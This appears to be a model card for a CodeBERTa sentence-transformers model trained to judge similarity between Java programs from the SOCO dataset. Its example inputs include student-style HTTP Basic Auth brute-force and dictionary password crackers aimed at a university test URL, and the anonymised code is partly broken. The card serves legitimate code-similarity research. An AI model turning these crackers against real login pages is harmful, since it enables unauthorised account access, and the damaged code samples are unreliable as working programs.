Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks
Paper • 1908.10084 • Published • 13
This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass")
# Run inference
sentences = [
'\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\npublic class WatchDog\n{\n\n \n public static void main(String args[])throws Exception\n {\n Process p1,p2,p3,p4,p5;\n \n for(;;)\n {\n \n\n String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \\"Part 2-Assignment2 \\" < change.html"};\n String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};\n String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};\n String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};\n String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};\n String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};\n\n\n Process p = Runtime.getRuntime().exec("mkdir predir");\n p.waitFor();\n Process p1 = Runtime.getRuntime().exec("mkdir postdir");\n p1.waitFor();\n\n \n p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n p1.waitFor();\n\n Process q2 = Runtime.getRuntime().exec(s2);\n q2.waitFor();\n Process q3 = Runtime.getRuntime().exec(s3);\n q2.waitFor();\n\n \n Thread.sleep(86400000);\n\n p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n p3.waitFor();\n\n Process q4 = Runtime.getRuntime().exec(s4);\n q4.waitFor();\n Process q5 = Runtime.getRuntime().exec(s5);\n q5.waitFor();\n\n try\n {\n String str;\n p4 = Runtime.getRuntime().exec(s6);\n DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n p4.waitFor();\n \n System.out.println("The WatchDog - Returns 0 if change else 1");\n System.out.println("Value :" + p4.exitValue());\n try\n {\n while ((str = inp1.readLine()) != null)\n {\n System.out.println(str);\n }\n }\n catch (IOException e)\n {\n System.exit(0);\n }\n\n }\n catch(FileNotFoundException e )\n {\n e.printStackTrace();\n }\n\n BufferedReader in = new BufferedReader(new FileReader("change.html"));\n \n if (in.readLine() != null)\n {\n\n try\n {\n String str1;\n p5 = Runtime.getRuntime().exec(s1);\n DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n p5.waitFor();\n try\n {\n while ((str1 = inp2.readLine()) != null)\n {\n System.out.println(str1);\n }\n }\n catch (IOException e1)\n {\n System.exit(0);\n }\n\n }\n catch(FileNotFoundException exp)\n {\n exp.printStackTrace();\n }\n\n }\n }\n }\n}\n\n',
'import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\n\npublic class BruteForce\n{\n\n\tprivate String result ="";\n\n\tpublic class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String passwd)\n {\n this.pass = passwd;\n }\n\n\t protected PasswordAuthentication getPasswordAuthentication()\n {\n\t return new PasswordAuthentication("",pass.toCharArray());\n }\n public String pass;\n }\n\n public BruteForce() {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n System.out.println(d.toString());\n\t\tchar words[] = { \'a\',\'b\',\'c\',\'d\',\'e\', \'f\', \'g\', \'h\', \'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\n\t\t\t\t\t\t\t \'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\', \'A\',\'B\',\'C\',\'D\',\'E\', \'F\', \'G\',\n\t\t\t\t\t\t\t \'H\', \'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\n\t\tString record = null;\n\n\n\n String url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n\t\tchar pass[] = {\'x\',\'x\',\'x\'};\n\t\tint count=1;\n\t\tString passwd=new String();\n HttpURLConnection connection = null;\n URL u = null;\n\n try\n {\n u = new URL(url);\n\n }\n catch (MalformedURLException e)\n {\n }\n\n for(int a=0;a<words.length;a++)\n {\n for(int b=0;b<words.length;b++)\n {\n for(int c=0;c<words.length;c++)\n {\n pass[0]=words[a];\n pass[1]=words[b];\n pass[2]=words[c];\n passwd=passwd.copyValueOf(pass,0,3);\n System.out.println(count+ " ) " + passwd);\n count++;\n try\n {\n\n connection = (HttpURLConnection) u.openConnection();\n Authenticator.setDefault(new customAuthenticator(passwd));\n\n if (connection.getResponseCode()!=401)\n {\n System.out.print("The password is : "+passwd);\n System.out.println();\n java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n System.out.println(d1.toString());\n System.out.println("\\ntime taken in seconds:"+ (d1.getTime() - d.getTime())/1000+"\\n");\n\n System.exit(0);\n }\n else\n {\n }\n connection.disconnect();\n }\n catch (IOException e)\n {\n System.out.println(e);\n }\n }\n }\n }\n }\n\n\tpublic static void main(String[] args)\n\t{\n\n\n\t\tBruteForce = new BruteForce();\n\t}\n}',
'import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\nclass Dictionary{\n\n public static void main(String [] args){\n try\n {\n Date d = new Date();\n String line1="";\n String ps="";\n String file1 = "words.txt";\n String file2 = "index.html";\n String endline="Authorization failed.";\n String [] cmd = new String[4];\n cmd[0] = "wget";\n cmd[1] = "--http-user=";\n cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n FileReader fr1 = new FileReader(file1);\n BufferedReader in1 = new BufferedReader(fr1);\n while((line1 = in1.readLine())!=null)\n {\n try{\n cmd[2] = connect(line1);\n Runtime.getRuntime().exec(cmd);\n if(line1.length()==3)\n ps = line1;\n System.out.println(cmd[2]);\n File f = new File(file2);\n if(f.exists())\n {\n System.out.println("password: " + ps);\n break;\n }\n }\n catch(IOException ex)\n {\n System.out.println("hello1");\n }\n\n }\n Date end = new Date();\n System.out.println(d.toString());\n System.out.println(end.toString());\n System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));\n }\n\n catch(IOException e)\n {\n System.out.println("hello,didnt find file.");\n }\n }\n public static String connect(String str1)\n {\n char data[] = {\'-\',\'-\',\'h\',\'t\',\'t\',\'p\',\'-\',\'p\',\'a\',\'s\',\'s\',\'w\',\'d\',\'=\'};\n String str = new String(data);\n return str + str1;\n }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
label, text_1, and text_2| label | text_1 | text_2 | |
|---|---|---|---|
| type | int | string | string |
| details |
|
|
|
| label | text_1 | text_2 |
|---|---|---|
0 |
import java.io.; |
|
0 |
|
|
0 |
|
import java.io.*; |
SoftmaxLosslabel, text_1, and text_2| label | text_1 | text_2 | |
|---|---|---|---|
| type | int | string | string |
| details |
|
|
|
| label | text_1 | text_2 |
|---|---|---|
0 |
import java.io.; |
|
0 |
|
import java.net.; |
0 |
import java.io.; |
|
SoftmaxLosseval_strategy: stepsper_device_train_batch_size: 16per_device_eval_batch_size: 16num_train_epochs: 1warmup_ratio: 0.1fp16: Trueoverwrite_output_dir: Falsedo_predict: Falseeval_strategy: stepsprediction_loss_only: Trueper_device_train_batch_size: 16per_device_eval_batch_size: 16per_gpu_train_batch_size: Noneper_gpu_eval_batch_size: Nonegradient_accumulation_steps: 1eval_accumulation_steps: Nonetorch_empty_cache_steps: Nonelearning_rate: 5e-05weight_decay: 0.0adam_beta1: 0.9adam_beta2: 0.999adam_epsilon: 1e-08max_grad_norm: 1.0num_train_epochs: 1max_steps: -1lr_scheduler_type: linearlr_scheduler_kwargs: {}warmup_ratio: 0.1warmup_steps: 0log_level: passivelog_level_replica: warninglog_on_each_node: Truelogging_nan_inf_filter: Truesave_safetensors: Truesave_on_each_node: Falsesave_only_model: Falserestore_callback_states_from_checkpoint: Falseno_cuda: Falseuse_cpu: Falseuse_mps_device: Falseseed: 42data_seed: Nonejit_mode_eval: Falseuse_ipex: Falsebf16: Falsefp16: Truefp16_opt_level: O1half_precision_backend: autobf16_full_eval: Falsefp16_full_eval: Falsetf32: Nonelocal_rank: 0ddp_backend: Nonetpu_num_cores: Nonetpu_metrics_debug: Falsedebug: []dataloader_drop_last: Falsedataloader_num_workers: 0dataloader_prefetch_factor: Nonepast_index: -1disable_tqdm: Falseremove_unused_columns: Truelabel_names: Noneload_best_model_at_end: Falseignore_data_skip: Falsefsdp: []fsdp_min_num_params: 0fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap: Noneaccelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed: Nonelabel_smoothing_factor: 0.0optim: adamw_torchoptim_args: Noneadafactor: Falsegroup_by_length: Falselength_column_name: lengthddp_find_unused_parameters: Noneddp_bucket_cap_mb: Noneddp_broadcast_buffers: Falsedataloader_pin_memory: Truedataloader_persistent_workers: Falseskip_memory_metrics: Trueuse_legacy_prediction_loop: Falsepush_to_hub: Falseresume_from_checkpoint: Nonehub_model_id: Nonehub_strategy: every_savehub_private_repo: Nonehub_always_push: Falsegradient_checkpointing: Falsegradient_checkpointing_kwargs: Noneinclude_inputs_for_metrics: Falseinclude_for_metrics: []eval_do_concat_batches: Truefp16_backend: autopush_to_hub_model_id: Nonepush_to_hub_organization: Nonemp_parameters: auto_find_batch_size: Falsefull_determinism: Falsetorchdynamo: Noneray_scope: lastddp_timeout: 1800torch_compile: Falsetorch_compile_backend: Nonetorch_compile_mode: Noneinclude_tokens_per_second: Falseinclude_num_input_tokens_seen: Falseneftune_noise_alpha: Noneoptim_target_modules: Nonebatch_eval_metrics: Falseeval_on_start: Falseuse_liger_kernel: Falseeval_use_gather_object: Falseaverage_tokens_across_devices: Falseprompts: Nonebatch_sampler: batch_samplermulti_dataset_batch_sampler: proportional| Epoch | Step | Training Loss | Validation Loss |
|---|---|---|---|
| 0.0532 | 100 | 0.0842 | 0.0238 |
| 0.1064 | 200 | 0.0111 | 0.0203 |
| 0.1596 | 300 | 0.0061 | 0.0253 |
| 0.2128 | 400 | 0.0243 | 0.0203 |
| 0.2660 | 500 | 0.0311 | 0.0209 |
| 0.3191 | 600 | 0.0212 | 0.0203 |
| 0.3723 | 700 | 0.0137 | 0.0237 |
| 0.4255 | 800 | 0.03 | 0.0199 |
| 0.4787 | 900 | 0.0104 | 0.0195 |
| 0.5319 | 1000 | 0.0141 | 0.0201 |
| 0.5851 | 1100 | 0.0214 | 0.0186 |
| 0.6383 | 1200 | 0.0151 | 0.0192 |
| 0.6915 | 1300 | 0.0219 | 0.0185 |
| 0.7447 | 1400 | 0.0152 | 0.0184 |
| 0.7979 | 1500 | 0.0082 | 0.0192 |
| 0.8511 | 1600 | 0.0128 | 0.0182 |
| 0.9043 | 1700 | 0.0155 | 0.0172 |
| 0.9574 | 1800 | 0.0102 | 0.0174 |
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
Base model
huggingface/CodeBERTa-small-v1
from sentence_transformers import SentenceTransformer model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass") sentences = [ "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\nimport java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce {\n \n \n \n public static String Base64Encode(String s) {\n byte[] bb = s.getBytes();\n byte[] b = bb;\n char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n '0','1','2','3','4','5','6','7','8','9','+','/' };\n if (bb.length % 3!=0) {\n int x1 = bb.length;\n \n b = new byte[(x1/3+1)*3];\n int x2 = b.length;\n \n for(int i=0;i<x1;i++)\n b[i] = bb[i];\n for(int i=x1;i<x2;i++)\n b[i] = 0;\n }\n \n char[] c = new char[b.length/3*4];\n \n int i=0, j=0;\n while (i+3<=b.length) {\n c[j] = table[(b[i] >> 2)];\n c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];\n c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];\n c[j+3] = table[(b[i+2] & 63)];\n i+=3;\n j+=4;\n }\n \n j = c.length-1;\n while (c[j]=='A') {\n c[j]='=';\n j--;\n }\n \n return String.valueOf(c);\n }\n \n \n public synchronized void getAccumulatedLocalAttempt() {\n attempt = 0;\n for (int i=0;i<MAXTHREAD;i++) {\n attempt += threads[i].getLocalAttempt();\n }\n }\n \n \n public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {\n DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n System.out.println();\n System.out.println(\" ------------------------ [ CURRENT STATISTICS ] ---------------------------\");\n System.out.println();\n System.out.println(\" Current connections : \"+curconn);\n System.out.println(\" Current progress : \"+attempt+ \" of \"+ALLCOMBI+\" (\"+currprogress+\"%)\");\n System.out.println(\" Overall Attempts rate : \"+ovrl+\" attempts second (approx.)\");\n System.out.println();\n System.out.println(\" ---------------------------------------------------------------------------\");\n System.out.println();\n }\n \n \n public class MyTT extends TimerTask {\n \n public synchronized void run() {\n \n \n if (count==REPORT_INTERVAL) {\n \n DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n \n getAccumulatedLocalAttempt();\n double p = (double)attempt/(double)ALLCOMBI*100;\n \n \n double aps = (double) (attempt - attm) / REPORT_INTERVAL;\n \n \n attmArr[attmArrIdx++] = aps;\n \n \n printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);\n count = 0;\n } else\n \n if (count==0) {\n getAccumulatedLocalAttempt();\n attm = attempt;\n count++;\n } else {\n count++;\n }\n }\n \n \n public synchronized double getOverallAttemptPerSec() {\n double val = 0;\n for (int i=0;i<attmArrIdx;i++) {\n val+= attmArr[i];\n }\n return val / attmArrIdx;\n }\n \n private int count = 0;\n private int attm;\n private int attmArrIdx = 0;\n private double[] attmArr = new double[2*60*60/10]; \n }\n \n \n public synchronized void interruptAll(int ID) {\n for (int i=0;i<MAXTHREAD;i++) {\n if ((threads[i].isAlive()) && (i!=ID)) {\n threads[i].interrupt();\n }\n notifyAll();\n }\n }\n \n \n \n public synchronized void setSuccess(int ID, String p) {\n passw = p;\n success = ID;\n notifyAll();\n interruptAll(ID);\n \n \n end = System.currentTimeMillis();\n }\n \n \n public synchronized boolean isSuccess() {\n return (success>=0);\n }\n \n \n \n public synchronized void waitUntilAllTerminated() {\n while (curconn>0) {\n try {\n wait();\n } catch (InterruptedException e) {}\n }\n }\n \n \n \n \n public synchronized int waitUntilOK2Connect() {\n boolean interruptd= false;\n int idx = -1;\n \n \n \n \n while (curconn>=MAXCONN) {\n try {\n wait();\n } catch (InterruptedException e) { interruptd = true; }\n }\n \n \n \n if (!interruptd) {\n \n curconn++;\n for (idx=0;idx<MAXCONN;idx++)\n if (!connused[idx]) {\n connused[idx] = true;\n break;\n }\n \n notifyAll();\n }\n \n \n return idx;\n }\n \n \n public synchronized void decreaseConn(int idx) {\n curconn--;\n connused[idx] = false;\n \n \n notifyAll();\n }\n \n \n public class ThCrack extends Thread {\n \n \n public ThCrack(int threadID, int startidx, int endidx) {\n super(\" Thread #\"+String.valueOf(threadID)+\": \");\n this.ID = threadID;\n this.startidx = startidx;\n this.endidx = endidx;\n \n setDaemon(true);\n }\n \n \n public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {\n int i ;\n String msg;\n \n \n URL tryURL = new URL(THEURL);\n \n \n connections[connID]=(HttpURLConnection) tryURL.openConnection();\n \n \n connections[connID].setRequestProperty(\"Authorization\",\" \"+Base64Encode(USERNAME+\":\"+thePass));\n \n \n i = connections[connID].getResponseCode();\n msg = connections[connID].getResponseMessage();\n connections[connID].disconnect();\n \n \n if (i==HttpURLConnection.HTTP_OK) {\n \n System.out.println(ID+\"Trying '\"+thePass+\"' GOTCHA !!! (= \"+String.valueOf()+\"-\"+msg+\").\");\n setSuccess(this.ID,thePass);\n return (true);\n } else {\n \n System.out.println(ID+\"Trying '\"+thePass+\"' FAILED (= \"+String.valueOf()+\"-\"+msg+\").\");\n return (false);\n }\n }\n \n \n public void rest(int msec) {\n try { sleep(msec); } catch (InterruptedException e) {}\n }\n \n \n \n public String constructPassword( int idx) {\n int i = idxLimit.length-2;\n boolean processed = false;\n \n String result = \"\";\n while (i>=0) {\n if (idx>=idxLimit[i]) {\n int nchar = i + 1;\n idx-=idxLimit[i];\n for (int j=0;j<nchar;j++) {\n x = (idx % NCHAR);\n result = charset.charAt((int) x) + result;\n idx /= NCHAR;\n }\n break;\n }\n i--;\n }\n \n return result;\n }\n \n \n public String getStartStr() {\n return constructPassword(this.startidx);\n }\n \n \n public String getEndStr() {\n return constructPassword(this.endidx);\n }\n \n \n public void run() {\n i = startidx;\n boolean keeprunning = true;\n while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {\n \n \n int idx = waitUntilOK2Connect();\n \n \n if (idx==-1) {\n \n break;\n }\n \n try {\n \n launchRequest(getName(), idx, constructPassword(i));\n \n decreaseConn(idx);\n \n localattempt++;\n \n \n rest(MAXCONN);\n i++;\n } catch (InterruptedException e) {\n \n \n keeprunning = false;\n break;\n } catch (IOException e) {\n \n \n \n \n \n decreaseConn(idx);\n }\n }\n \n \n if (success==this.ID) {\n waitUntilAllTerminated();\n }\n }\n \n \n public int getLocalAttempt() {\n return localattempt;\n }\n \n private int startidx,endidx;\n private int ID;\n private int localattempt = 0;\n }\n \n \n public void printProgramHeader(String mode,int nThread) {\n System.out.println();\n System.out.println(\" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************\");\n System.out.println();\n System.out.println(\" URL : \"+THEURL);\n System.out.println(\" Crack Mode : \"+mode);\n System.out.println(\" Characters : \"+charset);\n System.out.println(\" . Char : \"+MINCHAR);\n System.out.println(\" . Char : \"+MAXCHAR);\n System.out.println(\" # of Thread : \"+nThread);\n System.out.println(\" Connections : \"+MAXCONN);\n System.out.println(\" All Combi. : \"+ALLCOMBI);\n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n }\n \n \n public void startNaiveCracking() {\n MAXTHREAD = 1;\n MAXCONN = 1;\n startDistCracking();\n }\n \n \n public void startDistCracking() {\n int startidx,endidx;\n int thcount;\n \n \n if (isenhanced) {\n printProgramHeader(\"ENHANCED BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n } else {\n printProgramHeader(\"NAIVE BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n }\n \n \n i = System.currentTimeMillis();\n \n idxstart = idxLimit[MINCHAR-1];\n \n \n \n \n \n \n if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n mult = (ALLCOMBI - idxstart) / MAXTHREAD;\n \n \n \n for (thcount=0;thcount<MAXTHREAD-1;thcount++) {\n startidx = thcount*mult + idxstart;\n endidx = (thcount+1)*mult-1 + idxstart;\n threads[thcount] = new ThCrack(thcount, startidx, endidx);\n System.out.println(threads[thcount].getName()+\" try crack from '\"+threads[thcount].getStartStr()+\"' '\"+threads[thcount].getEndStr()+\"'\");\n }\n \n \n \n \n \n startidx = (MAXTHREAD-1)*mult + idxstart;\n endidx = ALLCOMBI-1;\n threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);\n System.out.println(threads[MAXTHREAD-1].getName()+\" try crack from '\"+threads[MAXTHREAD-1].getStartStr()+\"' '\"+threads[MAXTHREAD-1].getEndStr()+\"'\");\n \n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n \n \n for (int i=0;i<MAXTHREAD;i++)\n threads[i].print();\n }\n \n \n public BruteForce() {\n \n if (isenhanced) {\n startDistCracking();\n } else {\n startNaiveCracking();\n }\n \n \n reportTimer = new java.util.Timer();\n MyTT tt = new MyTT();\n reportTimer.schedule(tt,1000,1000);\n \n \n while ((success==-1) && (attempt<ALLCOMBI)) {\n try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }\n }\n \n \n if (success==-1) {\n end = System.currentTimeMillis();\n }\n \n \n getAccumulatedLocalAttempt();\n \n double ovAps = tt.getOverallAttemptPerSec();\n DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n \n reportTimer.cancel();\n \n \n try { Thread.sleep(1000); } catch (InterruptedException e) { }\n \n \n synchronized (this) {\n if (success>=0) {\n System.out.println();\n System.out.println(\" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************\");\n System.out.println();\n System.out.println(\" The password is : \"+passw);\n System.out.println(\" Number of attempts : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n System.out.println(\" Cracking time : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n System.out.println(\" Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+ \" seconds\");\n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n } else {\n System.out.println();\n System.out.println(\" ********************* [ UNABLE CRACK THE URL !!! ] *********************\");\n System.out.println();\n System.out.println(\" Number of attempts : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n System.out.println(\" Cracking time : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n }\n }\n }\n \n \n public static void printSyntax() {\n System.out.println();\n System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] [] [username]\");\n System.out.println();\n System.out.println(\" mode : (opt) 0 - NAIVE Brute force mode\");\n System.out.println(\" (trying from the first the last combinations)\");\n System.out.println(\" 1 - ENHANCED Brute force mode\");\n System.out.println(\" (dividing cracking jobs multiple threads) (default)\");\n System.out.println(\" URL : (opt) the URL crack \");\n System.out.println(\" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n System.out.println(\" charset : (optional) the character set used crack.\");\n System.out.println(\" - (default)\");\n System.out.println(\" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" -alphanum \");\n System.out.println(\" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n System.out.println(\" -alphalow \");\n System.out.println(\" abcdefghijklmnopqrstuvwxyz\");\n System.out.println(\" -alphaup \");\n System.out.println(\" ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" -number \");\n System.out.println(\" 1234567890\");\n System.out.println(\" [custom] e.g. aAbB123\");\n System.out.println(\" , : (optional) range of characters applied in the cracking\");\n System.out.println(\" where 1 <= <= 10 (default = 1)\");\n System.out.println(\" <= <= 10 (default = 3)\");\n System.out.println(\" username : (optional) the username that is used crack\");\n System.out.println();\n System.out.println(\" NOTE: The optional parameters 'charset','','', and 'username'\");\n System.out.println(\" have specified altogether none at all.\");\n System.out.println(\" For example, if [charset] is specified, then [], [], and\");\n System.out.println(\" [username] have specified as well. If none of them specified,\");\n System.out.println(\" default values used.\");\n System.out.println();\n System.out.println(\" Example of invocation :\");\n System.out.println(\" java BruteForce \");\n System.out.println(\" java BruteForce 0\");\n System.out.println(\" java BruteForce 1 http://localhost/tryme.php\");\n System.out.println(\" java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n System.out.println(\" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n System.out.println();\n System.out.println();\n }\n \n \n \n \n \n \n \n \n public static void countIdxLimit() {\n idxLimit = new int[MAXCHAR+1];\n \n NCHAR = charset.length();\n ALLCOMBI = 0;\n for (int i=0;i<=MAXCHAR;i++) {\n if (i==0) {\n idxLimit[i] = 0;\n } else {\n idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n }\n }\n \n ALLCOMBI = idxLimit[idxLimit.length-1];\n }\n \n \n public static void paramCheck(String[] args) {\n int argc = args.length;\n \n \n try {\n switch (Integer.valueOf(args[0]).intValue()) {\n case 0: {\n isenhanced = false;\n } break;\n case 1: {\n isenhanced = true;\n } break;\n default:\n System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n printSyntax();\n System.exit(1);\n }\n } catch (NumberFormatException e) {\n System.out.println(\"Syntax error : invalid number '\"+args[0]+\"'\");\n printSyntax();\n System.exit(1);\n }\n \n if (argc>1) {\n try {\n \n URL u = new URL(args[1]);\n \n \n try {\n HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n \n switch (conn.getResponseCode()) {\n case HttpURLConnection.HTTP_ACCEPTED:\n case HttpURLConnection.HTTP_OK:\n case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n case HttpURLConnection.HTTP_FORBIDDEN:\n case HttpURLConnection.HTTP_UNAUTHORIZED:\n break;\n default:\n \n \n System.out.println(\"Unable open connection the URL '\"+args[1]+\"'\");\n System.exit(1);\n }\n } catch (IOException e) {\n System.out.println(e);\n System.exit(1);\n }\n \n THEURL = args[1];\n } catch (MalformedURLException e) {\n \n System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n printSyntax();\n System.exit(1);\n }\n }\n \n \n if (argc==6) {\n try {\n MINCHAR = Integer.valueOf(args[3]).intValue();\n } catch (NumberFormatException e) {\n System.out.println(\"Invalid range number value '\"+args[3]+\"'\");\n printSyntax();\n System.exit(1);\n }\n \n try {\n MAXCHAR = Integer.valueOf(args[4]).intValue();\n } catch (NumberFormatException e) {\n System.out.println(\"Invalid range number value '\"+args[4]+\"'\");\n printSyntax();\n System.exit(1);\n }\n \n if ((MINCHAR<1) || (MINCHAR>10)) {\n System.out.println(\"Invalid range number value '\"+args[3]+\"' (must between 0 and 10)\");\n printSyntax();\n System.exit(1);\n } else\n if (MINCHAR>MAXCHAR) {\n System.out.println(\"Invalid range number value '\"+args[3]+\"' (must lower than the value)\");\n printSyntax();\n System.exit(1);\n }\n \n if (MAXCHAR>10) {\n System.out.println(\"Invalid range number value '\"+args[4]+\"' (must between value and 10)\");\n printSyntax();\n System.exit(1);\n }\n \n if (args[2].toLowerCase().equals(\"-\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n } else\n if (args[2].toLowerCase().equals(\"-alphanum\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\";\n } else\n if (args[2].toLowerCase().equals(\"-alphalow\")) {\n charset = \"abcdefghijklmnopqrstuvwxyz\";\n } else\n if (args[2].toLowerCase().equals(\"-alphaup\")) {\n charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n } else\n if (args[2].toLowerCase().equals(\"-number\")) {\n charset = \"1234567890\";\n } else {\n charset = args[2];\n }\n \n USERNAME = args[5];\n } else\n if ((argc>2) && (argc<6)) {\n System.out.println(\"Please specify the [charset], [], [], and [username] altogether none at all\");\n printSyntax();\n System.exit(1);\n } else\n if ((argc>2) && (argc>6)) {\n System.out.println(\"The number of parameters expected is not more than 6. \");\n System.out.println(\" have specified more than 6 parameters.\");\n printSyntax();\n System.exit(1);\n }\n }\n \n public static void main (String[] args) {\n \n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n MINCHAR = 1;\n MAXCHAR = 3;\n \n \n if (args.length==0) {\n args = new String[6];\n args[0] = String.valueOf(1); \n args[1] = THEURL;\n args[2] = \"-\";\n args[3] = String.valueOf(MINCHAR);\n args[4] = String.valueOf(MAXCHAR);\n args[5] = USERNAME;\n }\n \n \n paramCheck(args);\n \n countIdxLimit();\n \n \n Application = new BruteForce();\n }\n \n public static BruteForce Application;\n public static String THEURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n public static boolean isenhanced; \n public static String passw = \"\"; \n \n public static final int REPORT_INTERVAL = 10; \n public static int MAXTHREAD = 50; \n public static int MAXCONN = 50; \n 